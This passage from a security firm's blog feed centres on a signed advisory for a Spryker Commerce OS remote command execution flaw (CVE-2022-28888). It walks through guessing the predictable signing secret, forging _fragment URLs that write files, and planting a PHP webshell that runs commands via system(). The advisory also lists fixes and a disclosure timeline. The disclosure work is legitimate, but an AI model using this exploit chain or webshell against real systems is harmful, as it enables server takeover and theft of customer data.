system penetration tester during the analysis of voltage signals typically
recorded during a black box penetration test. Besides extracting basic signal
characteristics, the developed algorithms can help in the signal line
linking process and protocol identification. So stay tuned :)
&lt;br/>&lt;br/> Follow us on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://twitter.com/Schutzwerk"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Twitter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.linkedin.com/company/schutzwerk/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LinkedIn&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.xing.com/companies/schutzwerkgmbh/updates"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Xing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to stay up-to-date.&lt;/p>
&lt;h2 id="references--credits">References / Credits&lt;/h2>
&lt;p>[1] &lt;a href="https://cvl.tuwien.ac.at/research/cvl-databases/pcb-dslr-dataset/">https://cvl.tuwien.ac.at/research/cvl-databases/pcb-dslr-dataset/&lt;/a>&lt;br>
[2] &lt;a href="https://github.com/tensorflow/models/tree/master/research/object_detection">https://github.com/tensorflow/models/tree/master/research/object_detection&lt;/a>&lt;br>
[3] &lt;a href="https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/tf2_detection_zoo.md">https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/tf2_detection_zoo.md&lt;/a>&lt;br>
[4] &lt;a href="https://cocodataset.org/">https://cocodataset.org/&lt;/a>&lt;br>
[5] &lt;a href="https://flask.palletsprojects.com/en/2.1.x/">https://flask.palletsprojects.com/en/2.1.x/&lt;/a>&lt;br>
[6] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">GitHub&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">repository&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;br>
[7] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">paper&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">DOI:&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">10.13154/294-8348&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;br>
[8] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">demo&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">video&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;br>
[9] &lt;a href="http://dx.doi.org/10.18725/OPARU-40107">http://dx.doi.org/10.18725/OPARU-40107&lt;/a>&lt;/p>
&lt;p>This work was sponsored by the BMBF project &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.secforcars.de/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SecForCARs&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.
We also want to thank &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.igus.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">igus&lt;/span>
&lt;/a>&lt;a
href="https://www.igus.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">GmbH&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
for their support and providing hardware samples.
The project was created at &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">SCHUTZWERK&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">GmbH&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
(supervisors Dr. Bastian Könings &amp;amp; Msc. Heiko Ehret) in cooperation
with &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.hs-kempten.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Hochschule&lt;/span>
&lt;/a>&lt;a
href="https://www.hs-kempten.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Kempten&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
(examiners Prof. Dr. Elmar Böhler &amp;amp; Prof. Dr. rer. nat Stefan Frenz).&lt;/p></description></item><item><title>Advisory: Remote Command Execution in Spryker Commerce OS (CVE-2022-28888)</title><link>https://www.schutzwerk.com/en/blog/schutzwerk-sa-2022-003/</link><author>David Brown</author><pubDate>Tue, 12 Jul 2022 14:17:53 +0200</pubDate><category>advisories</category><description>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2022-003: Remote Command Execution in Spryker Commerce OS
Status
======
PUBLISHED
Version
=======
1.0
CVE reference
=============
CVE-2022-28888
Link
====
https://www.schutzwerk.com/en/43/advisories/schutzwerk-sa-2022-003/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2022-003.txt
Affected products/vendor
========================
Spryker Commerce OS by Spryker Systems GmbH, with spryker/http module &amp;lt; 1.7.0
Summary
=======
A predictable value is used to sign and verify special _fragment URLs in
Spryker Commerce OS with spryker/http module &amp;lt; 1.7.0. Attackers that can guess
this value are able to generate valid _fragment URLs which allow calling PHP
methods, with certain restrictions. It could be demonstrated that this allows
attackers to write arbitrary content to files on the file system, which, in
turn, allows for execution of arbitrary PHP commands in many setups and
therefore remote command execution.
Risk
====
The vulnerability allows attackers to execute arbitrary commands on an
operating system-level on systems where the Spryker Commerce OS is installed.
In many cases, authentication is not necessary for successful exploitation. If
attackers have already determined that Spryker Commerce OS is utilized through
fingerprinting, checking for the presence of the vulnerability is trivial. With
the ability to execute arbitrary commands, attacks can, for example, access
customer data of the affected shop.
Description
===========
A webshop that was recently assessed for security vulnerabilities by SCHUTZWERK
was found to contain a remote command execution vulnerability. The application
in scope is based on a framework by Spryker -- Spryker Commerce OS. Spryker&amp;#39;s
framework, in turn, is based on Symfony[0] and/or Silex[1].
Symfony and Silex both support a special _fragment endpoint. This feature was
analyzed by Ambionics Security[2] in 2020. In their write up, the feature is
described as follows:
One of Symfony&amp;#39;s built-in features, made to handle ESI (Edge-Side
Includes)[3], is the FragmentListener class[4]. Essentially, when someone
issues a request to /_fragment, this listener sets request attributes from
given GET parameters. Since this allows to run arbitrary PHP code [...],
the request has to be signed using a HMAC value. [...]
[...] Given its importance, [the secret used for signing] must obviously be
very random.
At least parts of the source code of the Spryker framework are open source and
publicly accessible via GitHub. During the assessment, while certain
security-sensitive parts of the source code were reviewed, it was discovered
that the secret used to sign and verify _fragment URLs is static and
predictable. The secret is set to md5(__DIR__) in the PHP file
HttpFragmentServiceProvider.php[5] and in two different HttpConfig.php[6][7]
files.
__DIR__ is a built-in &amp;#34;magic constant&amp;#34; in PHP[8] and it corresponds to &amp;#34;the
directory of the file&amp;#34;. It is not entirely clear, which of these PHP files is
actually included and loaded by the Spryker framework. However, it is assumed
that the file http/src/Spryker/Shared/Http/HttpConfig.php is the culprit.
Guessing the secret
^^^^^^^^^^^^^^^^^^^
In order to gain a better understanding of the vulnerability, SCHUTZWERK set up
a local Spryker development instance with a demo shop[9] in order to allow for
more in-depth debugging.
By inspecting the source code and adding appropriate debug statements, the
secret was identified as e3ae11e53f7c3d72da08784b9af763f9. This corresponds to
the MD5 sum of the path
/data/shop/development/current/vendor/spryker/http/src/Spryker/Shared/Http:
$ echo -n &amp;#39;/data/shop/development/current/vendor/spryker/http/src/Spryker/&amp;#39;\
&amp;#39;Shared/Http&amp;#39;| md5sum
e3ae11e53f7c3d72da08784b9af763f9 -
The proof-of-concept script find_secret.py[10] was developed in order to
automate the process of identifying the secret based on a list of known Spryker
paths. The script was executed as follows against the local development
instance and correctly identified the static secret:
$ python3 find_secret.py --path-list known_spryker_paths.txt \
http://www.de.b2b-demo-shop.local/_fragment
[-] http://www.de.b2b-demo-shop.local/_fragment 2c03fc8fac1ff5204b56d4dbf879a3fc
[-] http://www.de.b2b-demo-shop.local/_fragment f71e9665ffe0a0e3b54bbe7c2642d466
[-] http://www.de.b2b-demo-shop.local/_fragment faf0d063ad6adf3776d59bc55a17aa5f
[+] http://www.de.b2b-demo-shop.local/_fragment e3ae11e53f7c3d72da08784b9af763f9
(/data/shop/development/current/vendor/spryker/http/src/Spryker/Shared/Http)
This verification step does not require authentication in the default
configuration. The script generates _fragment URLs based on a provided list of
paths and detects whether the server views these URLs as valid (correctly
signed) or not. This distinction is made based on different observations (e.g.
status code, response content, etc.).
The same script was then executed against the customer&amp;#39;s instance:
$ python3 find_secret.py --path-list known_spryker_paths.txt \
[CUSTOMER_DOMAIN]/_fragment
[-] [CUSTOMER_DOMAIN]/_fragment e3ae11e53f7c3d72da08784b9af763f9
[-] [CUSTOMER_DOMAIN]/_fragment faf0d063ad6adf3776d59bc55a17aa5f
[-] [CUSTOMER_DOMAIN]/_fragment 8399015c0dbbf2162983fb7ad0ea6a9a
[-] [CUSTOMER_DOMAIN]/_fragment 8baff412797b1ddd80cd968e7446aa06
[...]
[-] [CUSTOMER_DOMAIN]/_fragment 2c03fc8fac1ff5204b56d4dbf879a3fc
[-] [CUSTOMER_DOMAIN]/_fragment d6de8df0b4ad55b15f198e06142dd0e6
[-] [CUSTOMER_DOMAIN]/_fragment d6de8df0b4ad55b15f198e06142dd0e6
[+] [CUSTOMER_DOMAIN]/_fragment 9c15f40d8e5610e89caf6f9b7a97be3b
(/data/srv/yves/www/vendor/spryker/http/src/Spryker/Shared/Http)
In this case, the identified secret 9c15f40d8e5610e89caf6f9b7a97be3b
corresponds to the path
/data/srv/yves/www/vendor/spryker/http/src/Spryker/Shared/Http.
The installation path of the application can of course vary greatly between
installations. However, if customers use the official Docker guide provided by
Spryker, it is likely that they will use the paths utilized in the examples and
thus share a common installation path.
Even if this is not the case, customers might share installation paths between
multiple environments (development, production). A compromise of one
installation would therefore make a compromise of the other installations
likely.
Signing URLs
^^^^^^^^^^^^
In addition to the secret, a URL must be passed to the HMAC function to form
the signature. However, in both instances of the vulnerability that were
discovered during the assessment, the URL was the same as the external URL.
This might be true for all Commerce OS installations.
With a valid secret and a URL, it is now possible to sign URLs. As shown in the
write up of Ambionics Security, it is generally possible to execute arbitrary
commands using different methods (direct reference of a PHP class/method or
deserialization of PHP objects). However, both approaches did not work, likely
due to code changes made by Spryker to Symfony/Silex.
Generally, the correct syntax for _fragment URLs is the following:
&amp;lt;protocol&amp;gt;://&amp;lt;domain&amp;gt;/_fragment?_path=_controller=&amp;lt;controller specification&amp;gt;&amp;amp;
_hash=&amp;lt;valid URL signature&amp;gt;
Through further analysis, an alternative approach was discovered. Replacing the
value of the URL parameter _path in the listing above allows to specify PHP
classes with certain limitations (decoded and reformatted for increased
readability):
_controller[]=Path\To\Class&amp;amp;
_controller[]=nameOfMethod&amp;amp;
arg1=value
At least the following limitations apply:
* Class must have no initialize function or, alternatively, an initialize
function without arguments
* Class must have an constructor without arguments
While examining the source code for possible candidates, the Symfony class
Filesystem was discovered. This class meets the limitations and allows writing
arbitrary content to a specified file path. The following payload was created
(decoded and reformatted for increased readability):
_controller[]=Symfony\Component\Filesystem\Filesystem&amp;amp;
_controller[]=appendToFile&amp;amp;
filename=SCHUTZWERK.php&amp;amp;
content=TEST
The generated URL is as follows:
http://www.de.b2b-demo-shop.local/_fragment?_path=_controller%255B%255D%3DSymfony%255C
Component%255CFilesystem%255CFilesystem%26_controller%255B%255D%3DappendToFile%26
filename%3D%252Ftmp%252Fschutzwerk.php%26content%3DTEST&amp;amp;
_hash=8Phw5nGDW%2FDgLe%2Fvpep0Exzz%2BIsptnd%2FyOb4G5CT12U%3D
After execution, the content is written to the file:
vagrant@vm-b2b-demo-shop / $ cat /tmp/schutzwerk.php
TEST
With this primitive in place, it is possible to execute arbitrary PHP code and
subsequently commands on an operating system level. To demonstrate this, the
following PHP code for a minimal webshell was appended to the file
/data/shop/development/current/public/Yves/maintenance/maintenance.php in the
development instance:
if(isset($_GET[&amp;#39;pass&amp;#39;])){
if($_GET[&amp;#39;pass&amp;#39;]==&amp;#34;yunn@swervIfUf3&amp;#34;){
if(isset($_REQUEST[&amp;#39;cmd&amp;#39;])){
echo &amp;#34;&amp;lt;pre&amp;gt;&amp;#34;;
$cmd=($_REQUEST[&amp;#39;cmd&amp;#39;]);
system($cmd);
echo &amp;#34;&amp;lt;/pre&amp;gt;&amp;#34;;
die;
}
}
}
The generated URL is as follows:
http://www.de.b2b-demo-shop.local/_fragment?_path=_controller%255B%255D%3DSymfony%255C
Component%255CFilesystem%255CFilesystem%26_controller%255B%255D%3DappendToFile%26
filename%3D%252Fdata%252Fshop%252Fdevelopment%252Fcurrent%252Fpublic%252FYves%252F
maintenance%252Fmaintenance.php%26content%3Dif%2528isset%2528%2524_GET%255B%2527pass
%2527%255D%2529%2529%257B%250A%2B%2Bif%2528%2524_GET%255B%2527pass%2527%255D%253D%25
3D%2522yunn@swervIfUf3%2522%2529%257B%250A%2B%2B%2B%2Bif%2528isset%2528%2524
_REQUEST%255B%2527cmd%2527%255D%2529%2529%257B%250A%2B%2B%2B%2B%2B%2Becho%2B%2522%253Cpre
%253E%2522%253B%250A%2B%2B%2B%2B%2B%2B%2524cmd%253D%2528%2524_REQUEST%255B%2527cmd%2527
%255D%2529%253B%250A%2B%2B%2B%2B%2B%2Bsystem%2528%2524cmd%2529%253B%250A%2B%2B%2B%2B%2B
%2Becho%2B%2522%253C%252Fpre%253E%2522%253B%250A%2B%2B%2B%2B%2B%2Bdie%253B%250A%2B%2B%2B
%2B%257D%250A%2B%2B%257D%250A%257D&amp;amp;_hash=XAnTzw2Y6hhbyIwO7KQ9qdTHrFMQ%2BUKWrVqRCad6JHE%3D
Afterwards, the file contains the following content:
&amp;lt;?php
[...]
if (file_exists(__DIR__ . &amp;#39;/maintenance.marker&amp;#39;)) {
http_response_code(503);
echo file_get_contents(__DIR__ . &amp;#39;/index.html&amp;#39;);
exit(0);
}
if(isset($_GET[&amp;#39;pass&amp;#39;])){
if($_GET[&amp;#39;pass&amp;#39;]==&amp;#34;yunn@swervIfUf3&amp;#34;){
if(isset($_REQUEST[&amp;#39;cmd&amp;#39;])){
echo &amp;#34;&amp;lt;pre&amp;gt;&amp;#34;;
$cmd=($_REQUEST[&amp;#39;cmd&amp;#39;]);
system($cmd);
echo &amp;#34;&amp;lt;/pre&amp;gt;&amp;#34;;
die;
}
}
}
Since the PHP file maintenance.php is consulted for every request, the injected
PHP webshell code can be executed using URLs similar to the following:
http://www.de.b2b-demo-shop.local/?pass=yunn@swervIfUf3&amp;amp;cmd=id
Solution/Mitigation
===================
1. Update spryker/http module to version 1.7.0
2. Configure SPRYKER_ZED_REQUEST_TOKEN environment variable with a long, random
and secure string
Disclosure timeline
===================
2022-04-07: Vulnerability discovered
2022-04-07: Initial contact with vendor
2022-04-08: Vulnerability reported to vendor
2022-04-08: CVE-2022-28888 assigned by MITRE
2022-04-11: Vendor notifies customers about vulnerability, releases patch
2022-04-26: Requested update from vendor
2022-05-05: Requested update from vendor
2022-06-20: Notified vendor of intention to publish advisory on 20220-06-30
2022-06-22: Vendor confirms that customers were notified about the vulnerability
2022-07-12: Advisory published by SCHUTZWERK
Contact/Credits
===============
The vulnerability was discovered during an assessment by David Brown and
Marcelo Reyes of SCHUTZWERK GmbH.
References
==========
[0] https://symfony.com
[1] https://github.com/silexphp/Silex
[2] https://www.ambionics.io/blog/symfony-secret-fragment
[3] https://en.wikipedia.org/wiki/Edge_Side_Includes
[4] https://github.com/symfony/symfony/blob/ac236517cc8925110d2ec9c35cfdb682a7b82f06/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
[5] https://github.com/spryker/silexphp/blob/94d2afc9b1ed9662193985cad1ba47da33bdc80d/src/Silex/Provider/HttpFragmentServiceProvider.php#L75
[6] https://github.com/spryker/http/blob/56313eaff6594821849846d1b93e0b7eba9a09b6/src/Spryker/Shared/Http/HttpConfig.php#L29
[7] https://github.com/spryker/spryker-core/blob/88ab823143b5521b4e1bb1b930321ec39eb4ec1e/Bundles/Http/src/Spryker/Shared/Http/HttpConfig.php#L29
[8] https://www.php.net/manual/en/language.constants.magic.php
[9] https://docs.spryker.com/docs/scos/dev/setup/installing-spryker-with-development-virtual-machine/installing-spryker-with-devvm-on-macos-and-linux.html
[10] https://www.schutzwerk.com/en/43/assets/advisories/find_secret.py
Disclaimer
==========
The information provided in this security advisory is provided &amp;#34;as is&amp;#34; and
without warranty of any kind. Details of this security advisory may be updated
in order to provide as accurate information as possible. The most recent
version of this security advisory can be found at SCHUTZWERK GmbH&amp;#39;s website
( https://www.schutzwerk.com ).
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCgAdFiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmLNeGIACgkQGrXfkTIX
LruPcxAAomwgmFtoqT+gQIPpt7VaCJd8/KeWIH+n9Q4iLfrEk8OJ204/HFxWLFUm
/201fCXbhSSAlzJxbwLAPC4gMYIzO5h4+5YS9Yb3ZreweuBp49WAGnrjjnbEGmQx
auH546XxyUoluh5EEu4x+JZw6ZVdIS6RctrtJpUfjNlqFrEbe7a94G7Q03vFD0QB
u7ek5R1S62J80KYfiIFfl+SmQ7dsFn8pTZzczW5oodEZCpLkvySgBTtVVsgM4ufI
BSFB5AF5C3/hhLIbVPE9UPGDKWlRueismFTiGjrZNQGwX3oqysJmqCRha/0j/pn5
bLoFmcwYpC0L72QO6RVany5jIeSUoN3ajhq4RDRw59BAOW50a/BHtsnuUxQkh1uy
nd0OmuhqJA5pV26qupR6i3J7Mq/5KTJhiptfwTql2FxkLPtAly7fJX+3P8CmSiLa
6gWmkaU/s8KtY49mMa1wVhWchT7wicIGVf17u9RbkUnaf4DyBQlNOSiNRVI6v+OZ
tQ9wQkau9OrXAXNX/zHdtAJePJ5i2FvvFlID+snBVeoU7NnC5miKgD+rQPRY8DJM
VySotql/FKCavxFb7AsDx3TmSIsGG0YeRUGYTj90Poe0cfbnORsIeBqo4Xe2D6Ov
Gt5gyU8Gdy118ggyUIMG6ctCCMJFQerbDucSQuvVVj8XonvCFHE=
=Dbxz
-----END PGP SIGNATURE-----
&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Linux Container Primitives: cgroup Kernel View and Usage in Containerization</title><link>https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel/</link><author>Philipp Schmied</author><pubDate>Tue, 28 Jun 2022 08:56:10 +0100</pubDate><category>linux</category><category>container</category><description>
&lt;p>&lt;em>Disclaimer: The elaboration associated to this subject results from a Master&amp;rsquo;s thesis created at SCHUTZWERK in collaboration with &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.hs-aalen.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Aalen&lt;/span>
&lt;/a>&lt;a
href="https://www.hs-aalen.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">University&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
by Philipp Schmied.&lt;/em>&lt;/p>
&lt;p>The previous post of the Linux Container Primitives series explains the internals of the &lt;em>cgroup&lt;/em> kernel primitive. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.&lt;/p>
&lt;ol start="0">
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Containers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Capabilities&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Mount&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Description&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Related&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Information&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Leak&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Docker&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">PID&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">User&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
